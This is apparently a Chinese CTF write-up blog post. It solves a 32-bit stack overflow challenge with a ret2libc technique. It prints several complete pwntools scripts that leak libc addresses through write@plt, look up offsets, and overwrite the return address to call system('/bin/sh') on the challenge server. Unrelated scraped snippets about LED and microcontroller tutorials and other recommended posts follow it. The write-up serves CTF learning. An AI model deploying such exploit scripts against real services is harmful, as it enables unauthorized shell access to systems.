赛博杯-HMI流水灯-stack
stack(ret2libc)
分析
首先checksec一下,发现没开栈保护,可能是栈溢出。
[*] '/root/Desktop/bin/pwn/stack_/stack'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
用IDA32把所有函数看了一遍发现函数gee的read可以利用一下。
大致思路
先获取libc库版本,通过泄露printf的真实地址得到偏移,
从而知道system函数和'/bin/sh'的真实地址。通过栈溢出覆盖返回地址为system函数从而拿到shell。
Tip:ldd stack查看libc库版本
第一次的exp如下
#!/usr/bin/python
# -*- coding: utf-8 -*-
__Author__ = "LB@10.0.0.55"
from pwn import *
#context.log_level = "debug"
io = process('./stack')
#io = remote('10.4.21.55',9012)
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
elf = ELF('./stack')
print_got_addr = elf.got['printf']
write_plt_addr = elf.plt['write']
gee_addr = elf.symbols['gee']
payload1 = flat(['a'*0x8c, write_plt_addr, gee_addr, 1, print_got_addr, 4])
io.send(payload1)
while 1:
temp = io.recvline()
print temp[0]
if temp[0] in '.*IW\x1b':
pass
else:
print_addr = u32(temp[0:4])
print("get")
break
print hex(print_addr)
offset = print_addr - libc.symbols['printf']
print hex(offset)
sys_addr = offset + libc.symbols['system']
bin_sh_addr = offset + libc.search('/bin/sh').next()
payload2 = flat(['a'*0x8c, sys_addr, 0xdeadbeef, bin_sh_addr])
io.sendline(payload2)
io.interactive()
在本地跑没毛病,但是一到远程就EOF,调了几次还是一脸懵逼,在我一直追问M4x师傅之后他说远程的libc和本地不一样。
这里分享个小trick:在libc版本正确的前提下,得到的libc_base的后三位均为0。
如下图

第二次尝试用DynELF跑
结果发现由于这题的一些缘故跑地贼慢,根本跑不出来,但还是把exp放出来,以供以后参考。
#!/usr/bin/python
# -*- coding: utf-8 -*-
__Author__ = "LB@10.0.0.55"
from pwn import *
import binascii
#context.log_level = "debug"
io = process('./stack')
#io = remote('10.4.21.55',9012)
elf = ELF('./stack')
print_got_addr = elf.got['printf']
write_plt_addr = elf.plt['write']
gee_addr = elf.symbols['gee']
def leak(address):
payload = flat(['a'*0x8c, write_plt_addr, gee_addr, 1, address, 4])
io.sendline(payload)
while 1:
temp = io.recvline()
print temp[0]
if temp[0] in '.*IW\x1b':
pass
else:
data = temp[0:4]
print "%#x => %s" % (address, (data or '').encode('hex'))
print("get")
break
return data
dynelf = DynELF(leak, elf=ELF('stack'))
sys_addr = dynelf.lookup("system", "libc")
print "systemAddress:", hex(sys_addr)
io.interactive()
io.close()
第三次我是通过泄露printf和write函数的真实地址
然后在https://libc.blukat.me这个网址找到对应的libc版本以及相应函数的libc地址。
leak_libc如下
#!/usr/bin/python
# -*- coding: utf-8 -*-
__Author__ = "LB@10.0.0.55"
from pwn import *
import binascii
context.log_level = "debug"
#io = process('./stack')
io = remote('10.4.21.55',9012)
elf = ELF('./stack')
print_got_addr = elf.got['printf']
write_got_addr = elf.got['write']
write_plt_addr = elf.plt['write']
gee_addr = elf.symbols['gee']
def leak(address):
payload = flat(['a'*0x8c, write_plt_addr, gee_addr, 1, address, 4])
io.sendline(payload)
while 1:
temp = io.recvline()
if temp[0] in '.*IW\x1b':
pass
else:
data = u32(temp[0:4])
print("get")
break
return hex(data)
print 'print_addr:'
print_addr = leak(print_got_addr)
print print_addr
print 'write_addr'
write_addr = leak(write_got_addr)
print write_addr
io.interactive()
io.close()
exp如下:
#!/usr/bin/python
# -*- coding: utf-8 -*-
__Author__ = "LB@10.0.0.55"
from pwn import *
#context.log_level = "debug"
#io = process('./stack')
io = remote('10.4.21.55',9012)
#libc = ELF('/lib/i386-linux-gnu/libc.so.6')
#libc6_2.23-0ubuntu9_i386
elf = ELF('./stack')
print_got_addr = elf.got['printf']
write_plt_addr = elf.plt['write']
gee_addr = elf.symbols['gee']
payload1 = flat(['a'*0x8c, write_plt_addr, gee_addr, 1, print_got_addr, 4])
io.send(payload1)
while 1:
temp = io.recvline()
print temp[0]
if temp[0] in '.*IW\x1b':
pass
else:
print_addr = u32(temp[0:4])
print("get")
break
print hex(print_addr)
#line = raw_input()
libc_print = 0x049670
libc_sys = 0x03ada0
libc_bin = 0x15b9ab
offset = print_addr - libc_print
print hex(offset)
sys_addr = offset + libc_sys
bin_sh_addr = offset + libc_bin
payload2 = flat(['a'*0x8c, sys_addr, 0xdeadbeef, bin_sh_addr])
io.sendline(payload2)
io.interactive()
#flag{lan de xiang flag}
>###作者: LB919
>###出处:http://www.cnblogs.com/L1B0/
>###如有转载,荣幸之至!请随手标明出处;
赛博杯-HMI流水灯-stack的更多相关文章
- 毕业回馈-89C51之GPIO使用(流水灯)
今天分享一个89c51制作的8位流水灯案例.使用Proteus仿真. 同上一遍文章不同.上一篇文章中对于GPIO操作主要是位操作,即sbit led1=P0^0;其中P0^0代表p0.0这个引脚,然后 ...
- 【接口时序】2、Verilog实现流水灯及与C语言的对比
一. 软件平台与硬件平台 软件平台: 1.操作系统:Windows-8.1 2.开发套件:ISE14.7 3.仿真工具:ModelSim-10.4-SE 硬件平台: 1.FPGA型号:XC6SLX45 ...
- S5PV210_流水灯
1.整体思路:把相应的配置数据写入相应的寄存器,控制GPIO电平(Led.s)——运用工程管理Makefile编译.链接文件(由Led.s编译得到led.bin,该文件用于USB启动方式点亮LED,若 ...
- (一)GPIO 编程实验 LED 流水灯控制
7个寄存器 是R1-R16.(当然,里面有很多是分几个模式的,所以总共有37个)类似于单片机的R0-R7. GPXCON,GPXDAT等等是另外的寄存器,应该叫,特殊功能寄存器,类似于单片机的P0,P ...
- NIOS ii 流水灯
为了做项目的前期验证工作,实验室购买了某开发板,下面是基于该板子的实现过程.作为笔记记录,供入门者参考. 1:创建一个Quartus II的工程 next选择器件,然后finish.我的器件是cycl ...
- [51单片机] EEPROM 24c02 [I2C代码封装-保存实现流水灯]
这里把EEPROM 24c02封装起来,今后可以直接调用,其连线方式为:SDA-P2.1;SCL-P2.0;WP-VCC >_<:i2c.c /*--------------------- ...
- 【黑金原创教程】【FPGA那些事儿-驱动篇I 】【实验一】流水灯模块
实验一:流水灯模块 对于发展商而言,动土仪式无疑是最重要的任务.为此,流水灯实验作为低级建模II的动土仪式再适合不过了.废话少说,我们还是开始实验吧. 图1.1 实验一建模图. 如图1.1 所示,实验 ...
- STM32学习笔记(二) 基于STM32-GPIO的流水灯实现
学会了如何新建一个工程模板,下面就要开始动手实践了.像c/c++中经典的入门代码"hello world"一样,流水灯作为最简单的硬件设备在单片机领域也是入门首推.如果你已经有了一 ...
- 3. 戏说VHDL之入门游戏一:流水灯
一. 流水灯 1.1流水灯原理 流水灯是每个学电子的入门“游戏” ,示意图如图1,其原理极其简单,但是可玩性却极强,可以就8个LED写出不同花样的程序.在1.2中我们列出两个不同思路的代码作为VH ...
随机推荐
- “var arr = []; ”和 “var arr = {};” 的区别
1.面试题 var arr = []; var arr = {}; 比较上述代码有什么区别? 2.解析 var arr = [];是一个数组对象 var arr = {} ...
- OpenStack_I版 5.Nova部署
Nova安装 创建配置存放目录,日志存放目录,执行文件目录,虚拟机目录 Nova配置修改 生成主配置文件 创建Nova数据库 同步Nova数据库 验证 Nova连接RabbitMQ配置修改 key ...
- 巨幅SQL优化(SQL Tuning)——秒杀十几个小时不出结果的SQL
今天接到用户的需求,某程序十几个小时没出结果了,很纳闷儿,于是让相关人员取了explain plan等信息,拿到explain plan后,搂一眼,就知道问题出在了哪里,explain plan跑偏了 ...
- ajax面试题
1.ajax是什么?如何创建一个ajax? ajax并不算是一种新的技术,全称是asynchronous javasript and xml,可以说是已有技术的组合,主要用来实现客户端服务器的异步通信 ...
- Mac上使用虚拟机搭建Hadoop集群
一. mini安装一台centos到虚拟机上 安装过程参考这篇博客http://www.linuxdown.net/install/setup/2015/0906/4053.html 二. 修改网络配 ...
- $CDQ$分治总结
A.\(CDQ\) 分治 特别基础的教程略. \(CDQ\)分治的优缺点: ( 1 )优点:代码量少,常数极小,可以降低处理维数. ( 2 )缺点:必须离线处理. \(CDQ\)分治与其他分治最本质的 ...
- CTSC 选课
题面(有删减) 题目描述 学校实行学分制.每门的必修课都有固定的学分,同时还必须获得相应的选修课程学分.学校开设了N(N<300)门的选修课程,每个学生可选课程的数量M是给定的.学生选修了这M门 ...
- [BZOJ4195] [NOI2015] 程序自动分析 (并查集)
Description 在实现程序自动分析的过程中,常常需要判定一些约束条件是否能被同时满足. 考虑一个约束满足问题的简化版本:假设x1,x2,x3,…代表程序中出现的变量,给定n个形如xi=xj或x ...
- 绘制静态地图API-高德地图
1 高德静态地图链接 http://lbs.amap.com/api/webservice/guide/api/staticmaps 2 /** * User: [一秋] * Date: 2017/9 ...
- 一年iOS工作经验,如何一举拿下百度、美团、快手等Offer面经(附面试题)
前言: 先简单说说我最近的面试经历吧.面试的公司很多,大部分最后都能得到令人满意的结果,我将这些体会记录下来,面了这么多公司,如果不留下什么,那岂不是太浪费了.对于我来说,这也是一次自我检查,在这次面 ...